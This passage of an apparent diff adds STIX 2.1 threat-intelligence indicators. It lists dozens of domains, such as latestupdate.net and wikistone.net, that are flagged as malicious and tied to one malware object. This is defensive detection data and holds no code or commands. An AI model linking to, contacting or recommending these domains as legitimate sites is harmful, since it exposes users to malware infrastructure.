"indicator--a7bea93f-c446-4d41-a978-e082ebf6a78a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f7b5e691-42ba-420a-b919-0539243fc29a", + "created": "2023-03-29T12:58:44.224455Z", + "modified": "2023-03-29T12:58:44.224455Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wikistone.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.224455Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc59cab5-4623-45a0-afba-c50e7217cabd", + "created": "2023-03-29T12:58:44.225048Z", + "modified": "2023-03-29T12:58:44.225048Z", + "relationship_type": "indicates", + "source_ref": "indicator--f7b5e691-42ba-420a-b919-0539243fc29a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9cf5f06-23f9-4bbc-885b-046101d8f9f6", + "created": "2023-03-29T12:58:44.225222Z", + "modified": "2023-03-29T12:58:44.225222Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stemoneworld.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.225222Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b73fe9c2-cdf7-4c4b-a228-3ccb878948da", + "created": "2023-03-29T12:58:44.225827Z", + "modified": "2023-03-29T12:58:44.225827Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9cf5f06-23f9-4bbc-885b-046101d8f9f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aba53e66-9de5-4e48-8849-fda222bb50ce", + "created": "2023-03-29T12:58:44.225996Z", + "modified": "2023-03-29T12:58:44.225996Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nitrogames.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.225996Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebf784ae-0cd5-4c17-bfc5-50750ad150df", + "created": "2023-03-29T12:58:44.2267Z", + "modified": "2023-03-29T12:58:44.2267Z", + "relationship_type": "indicates", + "source_ref": "indicator--aba53e66-9de5-4e48-8849-fda222bb50ce", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--32eabcec-1e7f-4e1f-ac37-c72e4cdc2c68", + "created": "2023-03-29T12:58:44.226874Z", + "modified": "2023-03-29T12:58:44.226874Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='broughtscheming.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.226874Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9839738-a9d4-4929-93f0-384d8a985a85", + "created": "2023-03-29T12:58:44.227473Z", + "modified": "2023-03-29T12:58:44.227473Z", + "relationship_type": "indicates", + "source_ref": "indicator--32eabcec-1e7f-4e1f-ac37-c72e4cdc2c68", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2d7c1b5-b9f0-43b5-a40b-cb89b3c1aefb", + "created": "2023-03-29T12:58:44.227659Z", + "modified": "2023-03-29T12:58:44.227659Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockstarman.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.227659Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--289d2acc-9db2-47c6-ad31-5d8d2e6d7f27", + "created": "2023-03-29T12:58:44.228254Z", + "modified": "2023-03-29T12:58:44.228254Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2d7c1b5-b9f0-43b5-a40b-cb89b3c1aefb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec7d3e4b-e190-4a18-ab10-827a107c1ece", + "created": "2023-03-29T12:58:44.228425Z", + "modified": "2023-03-29T12:58:44.228425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='latestupdate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.228425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83bbb610-da7c-48e1-95af-cccc95d89e67", + "created": "2023-03-29T12:58:44.229022Z", + "modified": "2023-03-29T12:58:44.229022Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec7d3e4b-e190-4a18-ab10-827a107c1ece", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c8e5802f-c5d9-4951-b3ac-9ae5b6477107", + "created": "2023-03-29T12:58:44.229191Z", + "modified": "2023-03-29T12:58:44.229191Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='immersionkarate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.229191Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f760401a-7709-41d7-9d52-f556a972e8a3", + "created": "2023-03-29T12:58:44.229797Z", + "modified": "2023-03-29T12:58:44.229797Z", + "relationship_type": "indicates", + "source_ref": "indicator--c8e5802f-c5d9-4951-b3ac-9ae5b6477107", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--70cb5f46-6985-4f65-a144-43b1f0eac20d", + "created": "2023-03-29T12:58:44.229966Z", + "modified": "2023-03-29T12:58:44.229966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='numerousoverplay.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.229966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c54490c8-e871-4768-b644-33b326631344", + "created": "2023-03-29T12:58:44.230569Z", + "modified": "2023-03-29T12:58:44.230569Z", + "relationship_type": "indicates", + "source_ref": "indicator--70cb5f46-6985-4f65-a144-43b1f0eac20d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a86f7bcc-3157-4590-912b-aa22f81396ad", + "created": "2023-03-29T12:58:44.230738Z", + "modified": "2023-03-29T12:58:44.230738Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='traverseheroism.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.230738Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9e4b4ddc-658e-49e8-9de0-6137f2317e2d", + "created": "2023-03-29T12:58:44.231336Z", + "modified": "2023-03-29T12:58:44.231336Z", + "relationship_type": "indicates", + "source_ref": "indicator--a86f7bcc-3157-4590-912b-aa22f81396ad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7d5fb132-b1b6-4e37-9155-bbd33205c0ec", + "created": "2023-03-29T12:58:44.231504Z", + "modified": "2023-03-29T12:58:44.231504Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sterilearmored.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.231504Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78b50874-8acc-45c1-8bc1-2297cff011e6", + "created": "2023-03-29T12:58:44.232101Z", + "modified": "2023-03-29T12:58:44.232101Z", + "relationship_type": "indicates", + "source_ref": "indicator--7d5fb132-b1b6-4e37-9155-bbd33205c0ec", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--54c9308d-55d4-456d-9082-2b7b7ed052e6", + "created": "2023-03-29T12:58:44.232269Z", + "modified": "2023-03-29T12:58:44.232269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='acceptway.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.232269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6419e02-6d78-4092-9675-3edc7bcb8732", + "created": "2023-03-29T12:58:44.232864Z", + "modified": "2023-03-29T12:58:44.232864Z", + "relationship_type": "indicates", + "source_ref": "indicator--54c9308d-55d4-456d-9082-2b7b7ed052e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1cd9e8a5-eb5d-4cfc-b10c-22f1027dcde0", + "created": "2023-03-29T12:58:44.233032Z", + "modified": "2023-03-29T12:58:44.233032Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='confusingundermost.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.233032Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4bbd8180-d4fa-468e-ace4-2391ccac441a", + "created": "2023-03-29T12:58:44.233754Z", + "modified": "2023-03-29T12:58:44.233754Z", + "relationship_type": "indicates", + "source_ref": "indicator--1cd9e8a5-eb5d-4cfc-b10c-22f1027dcde0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5f4d9a46-685c-4125-8183-f8871ffee468", + "created": "2023-03-29T12:58:44.233928Z", + "modified": "2023-03-29T12:58:44.233928Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='earthandskytour.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.233928Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8ee9b00a-3fe2-41d4-ae62-bc42ae782143", + "created": "2023-03-29T12:58:44.234534Z", + "modified": "2023-03-29T12:58:44.234534Z", + "relationship_type": "indicates", + "source_ref": "indicator--5f4d9a46-685c-4125-8183-f8871ffee468", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aaf439d9-b8a6-473a-867e-fa0ede95fcca", + "created": "2023-03-29T12:58:44.234702Z", + "modified": "2023-03-29T12:58:44.234702Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='medialoungecafe.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.234702Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16b6e09e-3ef8-4b9a-ae68-622ee61b2f7e", + "created": "2023-03-29T12:58:44.235299Z", + "modified": "2023-03-29T12:58:44.235299Z", + "relationship_type": "indicates", + "source_ref": "indicator--aaf439d9-b8a6-473a-867e-fa0ede95fcca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--193b3a29-f626-4790-a6ee-478ba610b6c4", + "created": "2023-03-29T12:58:44.235467Z", + "modified": "2023-03-29T12:58:44.235467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ddetik.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.235467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--77a854db-deb3-4c4c-9c19-af9c8bac6085", + "created": "2023-03-29T12:58:44.236051Z", + "modified": "2023-03-29T12:58:44.236051Z", + "relationship_type": "indicates", + "source_ref": "indicator--193b3a29-f626-4790-a6ee-478ba610b6c4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26adaeb2-6efe-46e3-bbf3-4df4e3286451", + "created": "2023-03-29T12:58:44.23622Z", + "modified": "2023-03-29T12:58:44.23622Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pastorample.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.23622Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4a87fad8-0a03-4b9d-ac97-fd6a9589974b", + "created": "2023-03-29T12:58:44.236815Z", + "modified": "2023-03-29T12:58:44.236815Z", + "relationship_type": "indicates", + "source_ref": "indicator--26adaeb2-6efe-46e3-bbf3-4df4e3286451", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c68beaa7-5ba2-49d3-a88e-12291f458828", + "created": "2023-03-29T12:58:44.236984Z", + "modified": "2023-03-29T12:58:44.236984Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curingstraggler.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.236984Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9eb26c05-fcc1-4e5c-ad00-bb33d20f7948", + "created": "2023-03-29T12:58:44.237593Z", + "modified": "2023-03-29T12:58:44.237593Z", + "relationship_type": "indicates", + "source_ref": "indicator--c68beaa7-5ba2-49d3-a88e-12291f458828", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ddfc9438-4310-43e8-b4a4-9dac36ca7e22", + "created": "2023-03-29T12:58:44.237763Z", + "modified": "2023-03-29T12:58:44.237763Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rareashen.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.237763Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4096ccce-4cbd-4af6-b1a6-ff098a662b69", + "created": "2023-03-29T12:58:44.238361Z", + "modified": "2023-03-29T12:58:44.238361Z", + "relationship_type": "indicates", + "source_ref": "indicator--ddfc9438-4310-43e8-b4a4-9dac36ca7e22", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--96f05820-0c0f-4c51-b59b-4f1fe980ae21", + "created": "2023-03-29T12:58:44.238531Z", + "modified": "2023-03-29T12:58:44.238531Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jacketenjoyable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.238531Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--72ffc985-36b5-4add-b17e-f4d580df4145", + "created": "2023-03-29T12:58:44.239138Z", + "modified": "2023-03-29T12:58:44.239138Z", + "relationship_type": "indicates", + "source_ref": "indicator--96f05820-0c0f-4c51-b59b-4f1fe980ae21", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--276c7b7f-f44a-4ea9-ade6-9870834d8b43", + "created": "2023-03-29T12:58:44.239306Z", + "modified": "2023-03-29T12:58:44.239306Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='maisonikkoku.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.239306Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac88981b-048f-46bc-a31d-d67788ee1200", + "created": "2023-03-29T12:58:44.239928Z", + "modified": "2023-03-29T12:58:44.239928Z", + "relationship_type": "indicates", + "source_ref": "indicator--276c7b7f-f44a-4ea9-ade6-9870834d8b43", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a3a7095-1efe-4aed-826c-75466e5e7c9c", + "created": "2023-03-29T12:58:44.240099Z", + "modified": "2023-03-29T12:58:44.240099Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='falconheadfirst.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.240099Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d23bd59e-4686-4778-966e-2a0dc10a79ac", + "created": "2023-03-29T12:58:44.240813Z", + "modified": "2023-03-29T12:58:44.240813Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a3a7095-1efe-4aed-826c-75466e5e7c9c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e37d503f-2560-47ce-ab48-453c843b9da9", + "created": "2023-03-29T12:58:44.240984Z", + "modified": "2023-03-29T12:58:44.240984Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='evaporatesnitch.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.240984Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b50bf646-a5ea-41bb-aa82-4dc28c5bcff9", + "created": "2023-03-29T12:58:44.241586Z", + "modified": "2023-03-29T12:58:44.241586Z", + "relationship_type": "indicates", + "source_ref": "indicator--e37d503f-2560-47ce-ab48-453c843b9da9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce56ac0f-13c2-40be-9e39-fa68f6395863", + "created": "2023-03-29T12:58:44.241756Z", + "modified": "2023-03-29T12:58:44.241756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='entouragefrugality.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.241756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f039379-9b45-48d5-b859-ee1e16df778d", + "created": "2023-03-29T12:58:44.242355Z", + "modified": "2023-03-29T12:58:44.242355Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce56ac0f-13c2-40be-9e39-fa68f6395863", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e8298f8-4d68-4d29-9b7f-a1a6e3f3535b", + "created": "2023-03-29T12:58:44.242555Z", + "modified": "2023-03-29T12:58:44.242555Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='junedimple.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.242555Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d3446dc-76d0-4865-b1b6-8fc5236797ee", + "created": "2023-03-29T12:58:44.243145Z", + "modified": "2023-03-29T12:58:44.243145Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e8298f8-4d68-4d29-9b7f-a1a6e3f3535b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6c8f8626-a066-4288-b832-24fe4ab19991", + "created": "2023-03-29T12:58:44.243313Z", + "modified": "2023-03-29T12:58:44.243313Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='versionbobtail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.243313Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7d2d52d-e53a-41b7-8382-0b948b1af196", + "created": "2023-03-29T12:58:44.243901Z", + "modified": "2023-03-29T12:58:44.243901Z", + "relationship_type": "indicates", + "source_ref": "indicator--6c8f8626-a066-4288-b832-24fe4ab19991", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5815d1db-def5-42aa-828a-61b04bc40d8e", + "created": "2023-03-29T12:58:44.244068Z", + "modified": "2023-03-29T12:58:44.244068Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='traverseduplex.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.244068Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--003d6edf-0484-4292-b7ef-1222bd0c69d6", + "created": "2023-03-29T12:58:44.244662Z", + "modified": "2023-03-29T12:58:44.244662Z", + "relationship_type": "indicates", + "source_ref": "indicator--5815d1db-def5-42aa-828a-61b04bc40d8e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4469f49-905c-4f23-8a27-bb54f77ab100", + "created": "2023-03-29T12:58:44.24483Z", + "modified": "2023-03-29T12:58:44.24483Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guidanceafar.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.24483Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e71bed03-f06d-43c4-a8b1-8eb5cb776e01", + "created": "2023-03-29T12:58:44.245422Z", + "modified": "2023-03-29T12:58:44.245422Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4469f49-905c-4f23-8a27-bb54f77ab100", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e14f0e0-d2a7-4e05-a2c6-335c952165ea", + "created": "2023-03-29T12:58:44.245595Z", + "modified": "2023-03-29T12:58:44.245595Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perennialimprison.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.245595Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--67df37b5-1d85-4f2c-b593-38bfd936d4f8", + "created": "2023-03-29T12:58:44.24619Z", + "modified": "2023-03-29T12:58:44.24619Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e14f0e0-d2a7-4e05-a2c6-335c952165ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--007ec1f5-64ee-47a6-8d61-20ba3f2d5f9e", + "created": "2023-03-29T12:58:44.246356Z", + "modified": "2023-03-29T12:58:44.246356Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockycanyon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.246356Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d96ab34a-f77c-488c-af1a-d2ef9bb1f5b8", + "created": "2023-03-29T12:58:44.24695Z", + "modified": "2023-03-29T12:58:44.24695Z", + "relationship_type": "indicates", + "source_ref": "indicator--007ec1f5-64ee-47a6-8d61-20ba3f2d5f9e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b252cdc7-bc92-4bde-ae90-7d529fbabce0", + "created": "2023-03-29T12:58:44.247118Z", + "modified": "2023-03-29T12:58:44.247118Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='anthologytweet.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.247118Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b398035-434c-4786-a891-747bcb011bcf", + "created": "2023-03-29T12:58:44.247821Z", + "modified": "2023-03-29T12:58:44.247821Z", + "relationship_type": "indicates", + "source_ref": "indicator--b252cdc7-bc92-4bde-ae90-7d529fbabce0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--65e88953-4f42-4a9d-a4ef-bc9ad22aa85c", + "created": "2023-03-29T12:58:44.247995Z", + "modified": "2023-03-29T12:58:44.247995Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wisehardware.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.247995Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bddc2026-27b3-47be-8e80-2a2f0f094b0a", + "created": "2023-03-29T12:58:44.248584Z", + "modified": "2023-03-29T12:58:44.248584Z", + "relationship_type": "indicates", + "source_ref": "indicator--65e88953-4f42-4a9d-a4ef-bc9ad22aa85c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9f35bb5-0b14-4686-973d-f1aa915262bf", + "created": "2023-03-29T12:58:44.248755Z", + "modified": "2023-03-29T12:58:44.248755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chastevascular.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.248755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f2bb43e1-70d7-42f1-9ba0-cc0b1a042482", + "created": "2023-03-29T12:58:44.249343Z", + "modified": "2023-03-29T12:58:44.249343Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9f35bb5-0b14-4686-973d-f1aa915262bf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b31cc4d9-2f60-4750-bcac-e6be0f248973", + "created": "2023-03-29T12:58:44.24951Z", + "modified": "2023-03-29T12:58:44.24951Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='untidygumming.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.24951Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eff6e0d0-9bc1-49e9-8b19-8d382312e4f1", + "created": "2023-03-29T12:58:44.250104Z", + "modified": "2023-03-29T12:58:44.250104Z", + "relationship_type": "indicates", + "source_ref": "indicator--b31cc4d9-2f60-4750-bcac-e6be0f248973", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcd95a70-9491-461a-b9e9-b36f7514ab3a", + "created": "2023-03-29T12:58:44.250275Z", + "modified": "2023-03-29T12:58:44.250275Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='klicksuara.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.250275Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9e5e1e8e-6f12-4cb7-8369-4e8c1d039305", + "created": "2023-03-29T12:58:44.250861Z", + "modified": "2023-03-29T12:58:44.250861Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcd95a70-9491-461a-b9e9-b36f7514ab3a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42a0619a-2290-43a8-b8bf-6c0d66023894", + "created": "2023-03-29T12:58:44.25103Z", + "modified": "2023-03-29T12:58:44.25103Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hydrantbacking.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.25103Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2621e86e-0f4a-425c-bb33-a64745c562aa", + "created": "2023-03-29T12:58:44.251623Z", + "modified": "2023-03-29T12:58:44.251623Z", + "relationship_type": "indicates", + "source_ref": "indicator--42a0619a-2290-43a8-b8bf-6c0d66023894", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c6cb5b13-8bf2-4df0-b870-9374b996a2c9", + "created": "2023-03-29T12:58:44.251791Z", + "modified": "2023-03-29T12:58:44.251791Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trickeryrectify.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.251791Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86ff0d47-d23d-40d8-8c72-00a6fc7c62ab", + "created": "2023-03-29T12:58:44.252386Z", + "modified": "2023-03-29T12:58:44.252386Z", + "relationship_type": "indicates", + "source_ref": "indicator--c6cb5b13-8bf2-4df0-b870-9374b996a2c9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eb664354-9e79-4ad2-b624-40c28b0e96a2", + "created": "2023-03-29T12:58:44.252553Z", + "modified": "2023-03-29T12:58:44.252553Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yieldecosphere.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.252553Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": 